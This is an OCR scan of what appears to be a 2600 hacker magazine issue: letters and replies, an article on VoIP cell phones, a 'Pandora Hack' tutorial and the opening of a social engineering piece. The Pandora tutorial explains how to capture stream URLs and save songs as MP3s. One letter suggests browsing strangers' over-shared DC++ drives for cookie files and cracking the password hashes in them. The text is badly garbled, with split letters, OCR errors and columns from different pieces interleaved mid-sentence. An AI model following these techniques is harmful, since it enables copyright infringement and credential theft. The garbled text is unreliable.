D i scuss your work, anonymously so i f  you 
must.  

Push i t  fu rther: Hack you r body and m i nd 
by eat ing  a n d  exerc i s i ng as smart as you can 
program .  Hack the debt system of our  cou ntry 
by free i n g  you rse l f  of a l l  debt a n d  l iv i n g  on a 
tota l ly solvent bas i s .  Qu i t  booze, q u i t smoki ng, 
q u it a nyth i ng that owns  you . Strive for greater 
freedom for you rse l f. 

So as long as you a re br i ngi ng l ight i nto 
systems, a l so free ly  apply  you r  m i n d  to your­
se l f. H e l p  you rself fee l  stronger, better, freer, 
deeper, more c lear, more serene.  Though 
h u m b l i ng at  fi rst, you r  acti ons wi l l  h ave more 
power if you sta nd i n  rea l i ty. 

I nv ite the l ight and,  a m i dst shadows, be the 
l ight.  And remember that shadows mean more 
than  da rkness - that they too a re caused by 
people, or th i ngs, sta n d i ng i n  the l i ght .  

Let's hack.  
Ian 2.0 

These words could very well be a remedy 
for any future feelings of insignificance in 
the hacker community. They could also help 
inspire hackers to eventually control the world. 
We 'll keep our fingers crossed. 

Taking Action 

ever he f inds them - seem i ng ly with rema rks 
about which k ids  he cou ld  h ug, cuddle,  touch,  
etc . He does n ' t  h ave a job a n d  reg u l a r l y  goes 
to p l aces where he can f ind k ids  to photo­
gra p h .  He is conti n u a l l y  post ing  p ictures of 
u n know i n g  k ids  on h i s  s i te as fodder a n d/or 
prospective prey for pedoph i les a n d  l i sts a 
ca lendar  of events at which predators can f ind 
k ids - com plete with suggest ions .  

A l leged ly  he d i d  a n  hour- long i nterv iew 
on Fox ( I ' m  s u re th i s  is not a favorite source 
of i nformat ion,  but nevertheless as  they a i red 
s ign i f icant  port ions  of the v ideotaped i nterv iew 
the i nformat ion a ppears to be cred i b le ) .  He 
seemed very open a bout promot ing  the act ion 
of adu lts touch i ng c h i ldren i n  j u st-th i s-s ide­
of- i l lega l ways.  On the Fox s i te, he reported ly  
sa id ,  "h i s  ' age of  attract ion ' i s  between th ree 
and 1 1  yea rs o l d , "  a n d  was quoted as say i ng, " I  
guess the ma i n  th i n g  i s  I j ust th i n k  they ' re cute, 
a lot cuter than  women .  I admit  th ere is k i nd 
of a n  erot ic  a rousa l there . "  B ut, apparent ly, 
no one can shut  down h i s  s i te. Fu rther, a l l  the 
news attent ion i s  p u b l i c i z i n g  the s i te. 

The website is su pposed l y  t i t led, "Seatt le­
Tacoma- Everett G i r l Love . "  ( I  have n ' t  been to 
it .  I wou l d  norma l l y research a nyth i n g  before 
writ i ng to a nyone for he lp  but I ' m  not sure 
how to access the s i te without leav i n g  my I P  
address a n d  I don ' t  want t o  b e  associ ated with 
that s i te in any  way. ) 

Apparently, prosecutors a re say i ng that 
there i s  no cu rrent ly lega l way to prosecute 
a n d/or j ust shut  down the s i te (a lthough h i s  I S P  
a l l eged ly removed h i s  s i te, i t  went b a c k  u p ) .  

I fu l l y u n dersta nd t h e  i m porta nce of 
freedom of speech and am not suggest i n g  that 
the law shou ld  t ighten the re igns on any  const i-

Dear 2600: tut io n a l  freedoms (that we sti l l  h ave) a l though 
I know that I may represent a sma l l  part Seatt le  leg i s l ators a re apparent ly work i ng on i t .  

of you r  demogra p h i c  i n  that I hope to work On the other ha nd, th i s  ma n  i s  j ust u s i n g  lega l 
with i n  the cr i m i n a l  j u st ice system someday loopholes (he a ppears to be j ust the other s i de 
(assessment, a l ternat ive sentenci ng, reform) of i nc i t i ng  or sta l k i ng or, a rguab ly, h ate speech 
and, for obv ious  reasons, have a strong, vested 

_ but not over the l i ne), a n d  I ' m  j ust wonder ing 
i nterest i n  stay i ng on th i s  s ide of the l aw. That i f  there a re any lega l loopho les on the other 
sa id ,  I ' ve been read i ng 2600 for about ten s ide, any loopholes that wou ld  a l l ow some 
yea rs. You prov ide i nformation that I th i n k  the form of red i rect i ng traffic or caus ing  prob lems 
p u b l i c  should know but that peop le  don ' t  ta l k  or sh utti ng the s i te down . I s  there a n y  way a 
about enough.  person or com m u n ity can use a lega l mea ns to 

I ' ve never written a letter to you before mora l l y oppose a n d  d i srupt th i s  s i te?  
a n d  was n ' t  sure i f  I shou l d .  I was j ust th i n k i ng! I h ave a l ways bel ieved that i t  i s  cruc ia l to 
hop ing you m ight h ave a suggest ion . I ' m  protect freedom of speech u n der the l aw, even 
guess i n g  you ' re one of the best resou rces i n  speech that I detest. I th i n k  that i f  the govern-
th i s  a rea.  ment restr icts freedom of speech much further 

I saw a horr ib le  story on the news th i s  (even for a tota l l y  j ust pu rpose) that  the  conse-
morn i ng (c lear ly  noth i ng new but I wondered quences may be fa r-reach i n g  a n d  less j ust. I 
if I cou ld do someth i n g  about th i s  one) .  Appar- don ' t  su pport v ig i l a nte j u st i ce, either. I ' m  j ust 
ent ly there is a self-ad mi tted (but not convi cted ) look i n g  for someth i ng lega l and creative. I 
pedop h i le, reported to be a 45-yea r-o ld Wash- u ndersta nd it  may be a s l i ppery s lope. 
i ngton State res ident with a webs ite on which Anon 
he posts p i ctu res of kids that he ta kes wher- It 's more like a sheer cliff you 're standing 
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on. First off, someone who actively seeks 
this amount of publicity is obviously looking 
for and benefiting from a big reaction.  Such 
a "shocking " case could even be part of an 
inten tional scheme to provoke public response 
and force a demand to get rid of certain free­
doms.  A bizarre scenario, gran ted, but not 
tha t  much more bizarre than the one we 're 
expected to believe. Wha tever the reason, it's 
not wise to play in to this. Second, you can 
bet any "legal loopholes " are a lready being 
explored by legal teams. But most importantly, 
it 's not up to us to impose "justice " on the net 
any more than it's up to anyone else with no 
legal authority. While this is a case tha t  may be 
easy to support, any action ta ken could wind 
up setting a very bad precedent insofar as how 
hackers are seen by the rest of the world. The 
examples you list (redirecting traffic, ca using 
problems, shutting the site down) do indeed 
sound like vigilante justice and tha t 's far more 
harmful than anything this guy can say on his 
website. There are all sorts of legal remedies 
which can be applied the moment an actual 
crime is committed. In addition, Internet 
providers can act as they see fit and even 
rewrite their Terms of Service to exclude this 
sort of ma terial. Pressure can be put on entities 
tha t  don 't appear to be doing enough. In the 
end, achieving justice in this way will be far 
more meaningful than acting on an impulse, 
which we suspect is the goal of those who put 
this s tory together in the first place. 

Security Issues 
Dear 2600: 

I 've been an av id  reader for nea r l y  th ree 
years to e n l i ghten myse l f  about  sec u r ity a n d  
the fo l l ies thereabout.  I t ' s  h a rd for me t o  focus  
beca use of A D H D, but 2600 i s  the on ly  maga­
z i n e  where I can j ust sit down and rea d from 
cover to cover without concern i n g  myse l f  
wi th  the d i stract ions  a ro u n d  me, even desp i te 
the fact the pages a ren ' t  c l ad wi th  2 R i ce2 R i ­
d i c u l ous  c a r s  or  a n  advert i sement  with  some 
sem i -hot l ady provocat ive ly bent over the 
vers i o n  of Webster'S Dictionary. 

I t ' s  somet i mes com i c a l  but  most ly  sad that 
average Joes don ' t  rea l i ze the sec u r i ty th reats 
they somet i mes pose to themse lves by e i ther  a 
l ack  of common knowl edge or complete l az i ­
ness  to  read u p  on the prod uct they  spent  the i r  
money on,  s u c h  as  sett i n g  u p  a n  u n secu red 
wi rel ess G router in a pop u l ated apartment 
complex in the m i d d l e  of Los Angeles .  The 
exp lo i t  i s  set u p  from the get-go and the fa u l t  is  
most l y  due to the c l ient  themselves.  OK, so as  
for  my contr i b u t i o n :  

There i s  a pop u l a r  fi lesha r i n g  progra m 
c a l led DC++ w h i c h  i nterconnects peop le  from 

a l l  over the wor l d  to s h a re any type of fi l e  o n  
the i r  computer, be i t  photos, mus ic ,  troj a ns,  
etc . Much l i ke the B i tTorrent scene, there is  
a heavy stress for peop l e  to s h a re as  much  
as they  down load .  Wi th  DC++, most of  the i r 
h u bs (wh i c h  connect the c l i ents to each other, 
each r u n  i ndependent ly  - some can  feature 
a n i me, m u s i c, spec if ic  movie gen res, xxx, etc . )  
req u i re a t  l east some s h a red data t o  connect 
and sta rt sea rch i ng for you r  ta rgeted fi l e .  Some 
s h a re req u i rements can  be a s  l i tt l e  a s  Ogb, 
wh i c h  m i ght not be appea l i ng to some as a 
good n u m ber of the c l i ents m ay not be shar i n g  
a nyth i ng at a l l .  T h e  h i gher s h a re req u i rements 
conta i n  a b i gger go ld  m i ne for you r  target . 
Tro u b l e  is some people  a re sta rt i n g  out  fresh 
and have noth i n g  to share, a l be i t  a few photos, 
sha rewa re, a n d  free t r ia l s  of AO L .  

Desperate, look i ng for the i r  des igna ted 
fi l e, they s h a re the i r  ent i re h a rd dr ive upon 
DC++ ' s  i nsta l l at i o n .  Th i s  i n c l udes the i r v i ta l  
O S  fo l ders, such as  ClW i n dows. I o n l y  know 
of o n e  v i ta l  fi l e  ( I ' m  s u re there a re h u nd reds) 
and that wou l d  conta i n  coo k i e  i nformati o n .  
Snoop around t h i s  f i l e  a n d  you ' l l  be a b l e  to 
fi n d  l og i n s  a n d  passwords in hash form, w h i c h  
can  q u i c k l y  be decrypted u s i n g j avascr ipt M D S  
a n d  S H A  1 c rackers .  

I recent ly  read a n  a rt i c l e  where a fem a l e  
( m i nor)  w a s  charged with  possess ion  o f  c h i l d  
pornogra phy, ch i l d  abuse, a n d  m o l estat i o n  
o f  herse lf  w h e n  she passed " l ewd" photos of 
herse l f  t h rough the  I nternet w i l l i ng l y. Shou l d  
peop le  w h o  set themse l ves u p  for exp l o ita­
t ion  in th is  for m  be p u n i shed for hack i n g  
themselves? 

lucidRJT 
Yet another example of how some of the 

legal issues being explored lately via the net 
have been truly astounding. 

Store Issues 
Dear 2600: 

In 2 4 : 1  the l etters d i scuss  fi n gerp r i n t  i ssues .  
The l etters a l so d i scuss  messed u p  bar  codes. 
By combi n i ng two prob lems, one ar r ives at a 
so l ut i o n :  some j erk fl i pped t h rough a copy of 
2600 without  b u y i n g  it thus  mess i n g  up the  
ba r code ( the  f i ngerp r i n t  i s sue ink  got  on the i r  
t h u mbs) .  W h e n  a loya l reader wants t o  b u y  
that  i s sue  t h e  b a r  code won ' t  s c a n  beca use i t  
has  s o m e  j erk's fi ngerpr i nts on i t .  I tested t h i s  
theory o u t  on a b a r  code reader a n d  fou n d  that  
i t  works.  

Matthew 
Tha t 's  definitely unsettling if true. Yet 

another reason not to have removable ink.  

Dear 2600: 
J u st wr i t i n g  to l et you know that the past 
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two t i mes I ' ve bought you r  magaz i n e  at the 
Borders in  West Leba non,  N ew H a m psh i re 
they m a n ua l ly entered the code but  the sa l es 
rece i pt o n l y  s h owed "per iod i ca l ." To m a ke s u re 
you get the p roper sa l es c red i t  I ' m  assu m i ng i t  
shou l d  say "2600 "?  

Raven 
It really depends on the store software as 

well as their policy on how they coun t issues. If 
they can 't read the bar code but instead enter 
the numbers and find us in the da tabase tha t 
way, we have no problem with this .  Nor is it 
a point of con tention if they simply enter the 
price and credit us with the number of old 
issues no longer in their store when the new 
one camps out. But if they somehow lose track 
of how many of our issues they sold (which 
they often are un willing to concede) and then 
jump to the conclusion that  they didn't sell all 
the issues tha t  are no longer there, then we 
do indeed have a huge problem. It's almost 
impossible for customers or even publishers to 
know for sure when this is going on. 

Dear 2600: 
I have been fo l l owi ng, out of p rofess iona l 

cu r ios i ty, the ongo i n g  d i scuss ions  i n  you r  
l etters pages rega rd i  ng t h e  treatment o f  you r 
maga z i n e  i n  cha i n  stores a n d  newssta nds .  As 
the B uyer for two l a rge i ndependent news­
sta nds in C h i cago, I be l i eve I can h e l p  shed 
a l i tt l e  l ight .  The a n swer you gave C Pea n utG 
(24 : 1 )  is i ncorrect. The bar code assoc i ated 
with a maga z i n e  conta i n s  no embedded pr ice 
i nformat i o n .  The i ntro d i g i t  p l u s  the f i rst f ive 
represent a prefi x .  The second five d i g its a re 
the B I PAD, w h i c h  i s  a u n i que  i dent i fy i ng 
n u mber for every magaz i ne .  The fi n a l  n u m ber 
i s  a checks u m .  After these 1 2  n u m bers i s  a 
two d i g i t  i s sue code. The prefix near l y  a l ways 
beg i n s  with 0 or  7 (wh ich represent gener ic  
commod i t ies in  U PC) .  The fo l l ow i ng f ive  d igits 
of the prefi x c a n  be assoc i ated wi th  a spec if ic  
p u b l i sher  or  who lesa le r  or be gener ic  (the most 
common gener ic  prefix is 074470) .  In any 
case, when the pr ice of a maga z i n e  c h a n ges, 
the prefi x i s  usua l l y  changed as  a cou rtesy to 
the reta i l ers .  Th i s  p refix cha nge prevents the 
maga z i n e  from sca n n i ng i nto my pas system 
and l ets me know i t ' s  t i m e  to cha nge the pr ice 
a n d  update the bar  code i n  my i nter n a l  data­
base. Remember, the p refix cha nges when a 
pr ice cha nge occu rs, but  a n y  given prefix has  
noth i n g  to  do wi th  the pr ice .  

For  exa m p l e, you r  bar  code on 2 4 : 1 i s  
72 5 2 74 (prefix) 83 1 5 8 ( B I PAD)  6 (checks u m )  
7 1  ( i ssue code represent ing  2 007,  i s s u e  one, 
the sta ndard format for q u a rter l y  t i t l es) . You 
seem to be u nder the i mp ress ion  that  the p refix 
conta i n s  you r  cover pr ice ( $ 6 . 2 5 )  because i t was 
changed when you r  pr ice changed . Compare 
that to the ba r code on Maxim ( an  u n fortu-

nate cho ice to be s u re, as  you r  maga z i n e  is 
of i ncompara b l y  better q u a l i ty, but  usefu l 
nonetheless) .  The bar  code on the Apr i l i ssue 
of  Maxim i s  72 5 2 74 (prefi x) 03 744 ( B I PAD)  5 
(checksum)  04 ( i ssue  code represen t i n g  Apr i l 
i n  the sta n d a rd format for month l y  t i t les ) .  You 
w i l l  note that the p refix is the same i n  both 
cases; however t h e i r  cover p r ice i s  $ 4 . 9 9 .  

I ' m  n o t  s u re w h y  B a rnes a n d  Nob le  
wou l d n ' t  m a i nta i n  p r ice data  for  maga z i nes i n  
the i r  databases, as  the l etters by C Pea n utG a n d  
TwitcH i nd i cated . I t  i s  poss i b l e  t h e y  cons ider  
i t  too l abor i nten s i ve,  but  compared to the 
m a n u a l  i n putt i n g  of pr i ces and the potent i a l  
for error there i n ,  I don ' t  know i f  i t  computes. 

I hope you fou n d  t h i s  i nformat ion u sefu l or 
i nteresti ng.  

Ben 
Thanks for straightening us out on that. 

It's always very helpful to have people on the 
inside explain how it all works. 

Questions 
Dear 2600: 

I ' ve got a q u est i o n .  I ' m  work i n g  on a news 
podcast project with  a few other fo l k s  a n d  was 
wonder i ng i f  i t  wou l d  be a l l  r ight  i f  I used some 
of the a rt i c l es from the mag in the p rogra m 
(e i ther  as news or a sort of " H ack of the Week" 
type t h i ng, depe n d i n g  u pon what the a rt i c l e  
covered) .  

Macavity 
This kind of thing is definitely cool with us. 

Dear 2600: 
I d i d n ' t  know who to wr i te .  I j u st wa nted 

to know whether or not on the cover of 2 4 : 1 
that  dev ice is a ce l l  phone j a m mer?  If so, a re 
there any schemat ics that I can  use to b u i l d  
i t ?  Maybe i t  was i n  a past i ssue that I m i ssed ? 
Can you can j u st po i nt me i n  the r ight  d i rec­
t ion ? I ' m  i n terested in u s i n g  i t  in c l a ssrooms, 
theaters, or  even in traffic where peop le  shou l d  
n o t  b e  ta l k i ng, etc . 

Tha n k s  from a n  av id Canad i a n  reader s i nce 
back in the day. 

M 
Indeed that  is a cell phone jammer on the 

cover. This model is known as the RX9000 
from a company called Global Gadget in the 
U. K. We also printed a schema tic and addi­
tional info in 23:4  on how to build the world's 
first open source cell phone and wifi jammer. 
Legalities on possession and operation of such 
devices vary so you might want  to check wha t  
you 're u p  against before taking the plunge. 

Dear 2600: 
What os do you prefer :  W i n dows, L i n ux, 

or  Mac? 
Davis 

We don 't discuss religion here. 
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by Toni-Sarna 
I was ta l k i n g  to a tech buddy of m i ne 

d u r i ng a v i s i t  home when the subject of 
Vol P-enab led cel l phones came up .  He was 
i ns i stent that the tech no logy wou l d  never 
come to pass beca use it  s i m p l y  wou l d n ' t  be 
profitab le .  I a rgued, say ing  i t  was the nl'xt 
l ogi ca l  step, and to prove h i m  wro n g  I ' ve 
done a b i t  of homework. Now I don ' f th i n k  
t h e  techno logy i s  wide ly  ava i l ab le  (or hacker­
fr iend ly) yet, but with a host of man ufactu rers 
( N exte l ,  Spr i nt, Q u a l comm, and Motoro l a) 
p l il n n i ng and  deve lop ing  Vo l P-fr iend ly  hand­
sets, I th i n k  we shou l d  prq)are for t h i s  tech­
no logy j u m p .  

What is VoI P? 
Vol P  is s i m p l y  "Voice over I nternet 

Protoco l , "  a stem of the Network Vo ice 
Protoco l from the dilYs of A R PAN ET. I t ' s  
il fa i r l y  neat l i tt l e  th i ng, uti l i z i ng a n  I P­
connected computer and a POTS ( P l a i n  
O l d  Te lpphonc System) l i ne .  The computer 
connects to a webs ite, wh ich  receives the 
POTS n u mber from the computer, then 
connects to the POTS l i ne th rough the P B X  
(pr ivate B ranch eXcha nge) . Th(' con nec­
tion can a l so be th rough a ded icilted system 
(or adapter), or even through a b u i l t- i n  
converter. Voi r  hilS  been wide ly  ut i l i zed by 
eX l st l llg  phone networks for the tra nsfer of 
da!.l, wh ich  has given WdY to the " u n l i m i ted 
loca l ca l l i n g  p l a ns" of the major te /pphone 
compa n i l's .  

Now, obv ious ly, cp l l phonps don ' t  have 
,1 b u i l t- i n  IP connect ion,  so the connect ion 
comes trom onp of two sou rces: U n l i censed 
Mob i l p  Access or Sess ion I n i t ia t ion Protoco l .  

U MA i s  the "PilSy" cho ice beG1 USP i t  
uti l i zes B l uetooth techno logy to connect to 
the PBX.  U MA works very we l l  with C l oba l  
System for Mob i l e  comm u n icilt ions (CSM) 
operators, and can a l so switch between 
Vol P  a n d  cel l u l a r  networks easi l y. U nfortu ­
nately, as il downs ide o f  th i s  easp, i t ' s  il l so 
a b i t  p r ic ie r  a n d  i t ' s  cu rrent ly  o n l y  ava i l ab le  
on phones with  B l uetooth tech no logy, a 1 ,1  
Motoro l a  RAZR V l  and  t h e  V5 60.  BT C roup, 
out of C reat il r ita i n , offers packages th,lt 
ut i l i ze Vo l P  when the customer i s  at home. I n  
retu rn for us i ng Vo l P, the pr ice i s  lower when 
the network i s  uspd . The pr ices can get as low 
as S S p  t o r  a n  ent i re h o u r  o f  u se.  
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SIP i s  the other choi ce, ,11  
certa i n ly less pop u l a r. S I P  uti l i zes a Wi-F i  
router to connect to the I n ternet, wh ich then 
ut i l i zes Rea l -Ti me Tra nsport Protocol ( RTP) 
to com m u n i cate with a S I P  router. The S I P  
router i nteracts wi th  the P u b l  i c  Switched 
Te lephone Network ( PSTN) and the com mu­
n icat ion runs  from there. The  benefit of  th i s  
techno logy is that it connects to the PSTN v ia  
a software standard, not req u i r i n g  a home 
router. U nfortu nate ly, you can  cu rrent ly o n l y  
ca l l  other ut i l i zers o f  t h e  techno logy because 
of the C . 7 1 1 standard .  L i kewi se, o n l y  certa i n  
phones C il n  use the software (Nok ia  E60, 
E 6 1 , and E70) .  

The State of the Technology 
To my know l edge, o n l y  two compan i es 

offerVol P cpl l u l a r  serv ice.  The fi rst is the afore­
ment ioned BT G roup wh ich  offers serv ice 
i n  G reilt B r i ta i n .  It ut i l i zes a home serv icp 
p l a n  and  for the price of rough l y  U S  $ 1 2 0  
you get a phone, modem, and  a ca l l i ng p l a n .  
BT ' s  phones u s e  U MA.  T h e  other company 
offer ing  th i s  i s  Truphone, a company offer ing 
a beta test of the S I  P for the Nok ia  c-Series 
phones, with dow n l oads com i ng soon for 
the N -Series ( N 80, N CJ 1 , NCJ2 ,  a n d  N 9 3 )  and  
Windows Mob i l e  compat i b l e  phones.  The 
techno logy i sn ' t  go i n g  to be l i m i ted for l ong, 
though . Ph i l l ips  Sem iconductors is manu­
factu r i ng  U MA c h i ps for ce l l  phones, Texas 
I n struments i s  com i ng out with Wi L i n k  4 .0, 
E r i csson is manufactu r i n g  U MA phones, and 
C)u a i comm, N orte l ,  Ver i zon, d n d  S p r i n t  a re 
a l l  us ing  a p rotocol ca l l ed " EV-DO Rev i ­
s ion A . "  Motoro la ,  through Skype, i s  p lan­
n i ng re l l'Clses th i s  spr ing, and th i s  tech no logy 
IS soon to be popu l a r. At p resent, the more 
pop u l a r  option i s  to run over a managpd 
network, versus an  u n m a naged network ( i .e . ,  
the I nternet) due to vo ice q u a l ity concerns. 

Uses and Abuses 
Now if  you ' rp a hacker, you u n dersta nd 

the grPilt potent i a l  beh i n d  th i s .  Cel l u l a r  tech­
no logy is  goi ng to bp cheaper and poss i b l y  
even free (to beg i n  w i t h ,  s i nce Vol P  i sn ' t  
cu rrent ly regu lated ) .  O f  cou rse, you ' l l  sti l l  
hdve to contend with q u a l i ty, and i nterna­
t iona l  ca l l s  il rp go ing  to be fu n ky (as per 
usua l ) , but with the benefit of cel l u l a r  serv ice 
you won ' t  have to worry about fi n d i ng iln 
act ive con nect ion shou l d  you rea l l y  need to 
make a ca l l , perhaps in a n  emergency s itua-
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t i o n .  A l so, beca use of the modern techno logy 
of these phones (Truphone progra ms the i r  
softwa re i n  C++ on Symb i a n) ,  these t h i ngs 
cou l d  poss i b l y  be twea ked, a l low i n g  data 
tra nsfers as we l l  as d ig i ta l  vo i ce com m u n i ca ­
t ion .  I n  the futu re, you  m ight watch more than 
TV on you r  cel l p hones, perhaps  a cq u i r i ng 
a u d i o/v ideo com m u n icat i o n .  Th i n k  i n stant 
g l oba l v ideo, with  rea l -t ime a u d i o .  You cou l d  
comm u n i cate w i t h  you r  boss i n  C h i n a  as  you 
orga n i ze you r  meet i n g  in New Yor k .  You 
cou l d  chat  with  you r  i nternat iona l exch;lOge 
student  i n  Germany from you r  home i n  
Canada . So l d iers cou l d  ta l k  to the i r  fil m i l ies 
and l oved ones face-to-facE'. H e l l ,  orga n i ze 
a conference w i th  you r  gu i l d  budd i es on 
WoW. See concerts l ive from other countr ies .  
The poss i b i l i t ies a re l i m i t less .  

However, there are some negatives to i t  
at th i s  t ime .  I f  you l ive outs i de of the U n i ted 
States or G reat Br i ta i n , you face some d iffi ­
c u l t ies .  I n  Eth iop ia ,  Vo l P  i s  i l l ega l .  I n  I nd ia ,  
you  can ' t  make  a Vo l P  Gateway. L i kewi se, 

Amer ican and Car i bbea n coun-

tr ies have i m posed restr ict ions on Vol P  due to 
government-owned phone compil n ies .  A l so, 
ilt t h i s  t ime  locat ion reg i strat ion for Vo l P  i sn ' t  
mandatory a n d  ca n ' t  eas i l y be determ i ned 
from the ca l l i n g  phone.  As a resu l t, C a l ler  1 0  
w i l l  se ldom work i f  i t  works a t  a l l .  I t  cou l d  
a l so eas i l y  b e  spoofed from a Vo l P  " l a n d  l i ne," 
so pres u m a b l y  i t  cou l d  be spoofed from a 

ce l l  phone .  I n  add i t ion ,  most consumer  Vol P  
networks don ' t  su pport encrypt ion ,  s o  phone 
ca l l s  cou l d  be i ntercepted a n d  even cha nged . 
Th i s  shou l d  be leg i s l ated soon,  s i nce govern­
ment i s  extremely i nterested in reg u l Jt i ng  
t h i s  new form of  com m u n i cat ion .  

Know what I 'd  love to  see?  Art i c les  
g iv ing more deta i l  on the actu a l  p rocesses 
of com m u n icat ion over Vol P  a n d  POTS, a n d  
some rea l l y detJ i l ed tech specs on Vo l P­
ready phones.  So, a l l  you p h reaks out there, 
get crack i  n ' .  

Tha nks to Google, O 'Reilly, Truphone, 
B T  Croup, Wikipedia, a n d  A nthony, who 
inspired this work. Shout-outs to jessika, Billy, 
Bean, Cendo, a n d  Troy. 

ndora Hack - Get Free MP3s 

Sicl<Codel\r1onkey 
App l i cat ions such as B i tTorrent g ive many 

I nternet users the ab i l i ty to dow n l oad free 
m u s i c, app l i cat ions,  and  movies from other 
users.  Because B i tTorrent i s  one of the most 
pop u l a r  app l i cat ions used to obta i n  copy­
r ighted mater i a l  ( i l l ega l l y),  B i tTorrent trackers 
h ave been a target of frequent ra ids  and sh ut­
downs on beha l f  of the M PAA and R IAA.  

Never fea r  because t h i s  a rt i c l e  w i l l  show 
you a whole new way to get the free m u s i c  
you 're l oo k i n g  for and  w i l l  a l so show you 
how you can obta i n  i t  from on l i ne rad i o  
stat ions, spec i fica l ly Pa ndora . P l ease note, 
my pu rpose in wr i t ing th i s  a rt i c l e  is not to 
h ave the l awyers after Pandora or have them 
taken off l i ne, but  rather to exp lo i t  a logic 
bug i n  hopes that they too wi l l  see the l ight 
and  correct th is  b reach . 

I n  order to get free m u s i c  from Pa n dora, 
you w i l l  need to down load a browser p l u g i n .  
For a l l  o f  t h e  I nternet Exp lorer fans,  you c a n  
down load a free too l ca l led HTTPWatch .  
Th i s  too l c a n  be dow n loaded b y  goi ng t o  the 
fo l lowi n g  U R L :  h t t p , / /www . ht tpwa t c h . com/ 

-down l oad/ . At fi rst I was h av ing  i ssues with 
fi n d i n g  a p l ug i n  compati b l e  with F i refox 
and  then it dawned on me: Goog l e  "f i refox 
httpwatch " .  The very fi rst entry poi nted me 
to a n i ce l i tt le  F i refox extens ion (cu rrent ly  

i n  beta mode) c a l led HTTPC u i de[)og. You 
can down load the G u i deOog extens ion  from 
http , / / code . goog l e . com/p/ht tpgui dedog / .  
( N ote: There a re other F i refox extens ions  that  
wi l l  perform the same funct ion . ) Both of the 
recom mended browser p l u g i n s  wi l l  capture 
"get" a n d  "post" requests with  correspond ing  
response data from the  browser sess i o n .  Now 
that you have the too l s  you need, it is t ime for 
the free m u s i c .  

You w i l l  fi rst need t o  set u p  a n  account 
on Pa ndora . com and  create some of you r  
favor i te " M u s i c  Stat ions ."  J u st as a n  exam p le, 
the fi rst rad io  stat ion I c reated was based 
on the band Rad iohead. J ust as a n  as ide, 
both HTTPWatch and HTTPC u i deOog h ave 
a l most ident ica l featu res and  w i l l  work i n  the 
same way. Now i s  the t ime you w i l l  need to 
turn  on e i ther HTTPWatch or HTTPG u i d­
eOog and  start record i ng you r  Post a n d  Get 
data . When you start to hear m u s ic,  you 
shou l d  see the browser p l ug i n  record i ng a l l  
of you r  get a n d  post data . 

It is easy to te l l  wh ich  http requests a re 
songs because Pandora wi l l  use a spec if ic 
dom a i n  ' ' h ttp ://aud io- . . .  ' ' .  For exa m p l e, 
the fi rst song that I saw i n  c reat i ng my 
rad io  stat ion was 0 9 , 1 6 , 1 2 . 3 3 3  0 . 4 4 4  

1 2 3 4 5 6 7 8  GET 2 0 0  app l i cat ion/octet-strea m 
h t t p , / / a u d i o - i x x x 8 - f e x 2 5 . p a n d o r a . 
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- c om / a c c e s s / 1 2 3 4 5 6 ? v e r s i on = 2 & t o k e n = a b c d e f gh i j k l mn o p q r s t uvwxy z ab a b c d e f g h i j k l rn  

"'nopq r s t uvwxyz ababcde fghi j kl mnopqrstuvwxyz ab & l i d= 1 2 3 4 5 6 7 8 9 .  You s h o u l d  o n l y  
b e  concerned w i t h  t h e  spec if ic  s o n g  U RL :  h t t p : / / audi o - i xxx8 - f ex2 5 .  pandora . com/ 
"' a c c e s s / 1 2 3 4 5 6 ? v e r s i on = 2 & t o k e n = a b c d e f gh i j k l mnopqr s t uvwxy zabab c d e f g h i j k l mnopqr s t u  

"'vwxyz ababc defghi j k lmnopqrs tuvwxyzab & l i d= 1 2 3 4 5 6 7 8 9 .  ( N ote: The U R L  u sed i n  th i s  exa m p l e  
i s  a fake U RL, so do n ot atte m pt t o  g o  t o  t h a t  U RL . )  

You w i l l  n eed t o  copy that  U R L a n d  past i t  i n  a F i refox browser w i n dow. After s u b m i tt i n g  
the U R L, y o u  w i l l  q u i c k l y  get a " Down l oad N ot i f icat i o n . "  M a k e  s u re y o u  save the fi l e  to d i s k  
a n d  do n ot o p e n  i t .  After t h e  fi l e  h a s  successfu l ly dow n l oaded, y o u  w i l l  n eed t o  ed i t  t h e  n a m e  
o f  the fi l e  t o  i nc l ude a fi l e  exte n s i o n .  T h e  fi l e  t h a t  I dow n l oaded w a s  8 xxx2 x 5  so I c h a n ged 
the n a m e  to 8 xxx2 x 5 . mp 3 .  At th i s  po i n t, you h ave successfu l l y  dow n l oaded a m u s i c  fi l e  from 
Pa n dora.  Be c arefu l because Pa n dora l i kes to queue u p  m u s i c  req uests, so i f  you a re not 
ca refu l you w i l l  dow n l oad the n ext song that w i l l  be p l ayed o n  you r  stat i o n .  

I f  y o u  a r e  a coder y o u  c a n  ta ke t h i s  l o g i c  t o  a n  extreme.  O n e  cou l d  theoreti c a l l y  b u i l d  
a pytho n  scr i pt, or  whatever l a n gu age you fee l most comfo rtab l e  wi th ,  t o  a utomate th i s  
p rocess.  

O n  that n ote, h appy dow n l oad i ng.  

by Marxc2001 me from the fu l l  wrath of the tra i n  m a nager) . 
I do n ot p u rport any of the i nformat ion i n  I was st i l l  b u z z i n g  from that p rev i o u s  expe-

t h i s  a rt i c l e  to be correct nor accu rate. I t  is the r ience when a fr i e n d/mentor in the hacker 
op i n i o n  of the a uthor ( me) only. The author ways to l d  me about "soc i a l  eng i neer i ng."  
(me a ga i n ! )  does n ot accept respons i b i l ity for Bes i des gett i n g  free food and the l i ke i n  
a nyth i ng that you may or may n ot d o  o r  n ot a resta u ra nt, soc i a l  eng i neer i n g  d i d n 't seem 
do, nor any consequences there i n .  very u sefu l n o r  i ntr i cate enough t o  me to 

N e u ro- l i ng u i st ic  p rogra m m i ng is o n e  begi n w i t h .  B u t  I had a fee l i ng that  there m u st 
of today's " b u z zword" t h i ngs to have as a be more that  you c a n  do.  Then I d i scovered 
tra i ner. I t  is bas ica l l y a m i x  of C h o m s k i a n  N L P, a n d  a l l  of i t s  psyc h o l og i c a l  i nferen ces, 
l i ng u i st ics  a n d  behav i ora l  psyc h o l ogy, i nter- tec h n i q ues,  methods, a n d  myster i o u s  (at the 
m i ng led with  a lot of b u l l s h i t .  Some of the t i me, a n yway) ways.  I t  was great. Sudden l y  
m o re pa l try cou rses mere l y  teach y o u  t h e  d o i n g  a l l  sorts o f  wei rd a n d  wonderfu l t h i ngs 
mode l s  and methods. They expect you to seemed n ot o n l y  poss i b l e, but ea s i l y  w i th i n  
pay a l ot o f  money for the pr iv i l ege a n d  t h e  grasp o f  those who wou l d  w o r k  o n  t h e  
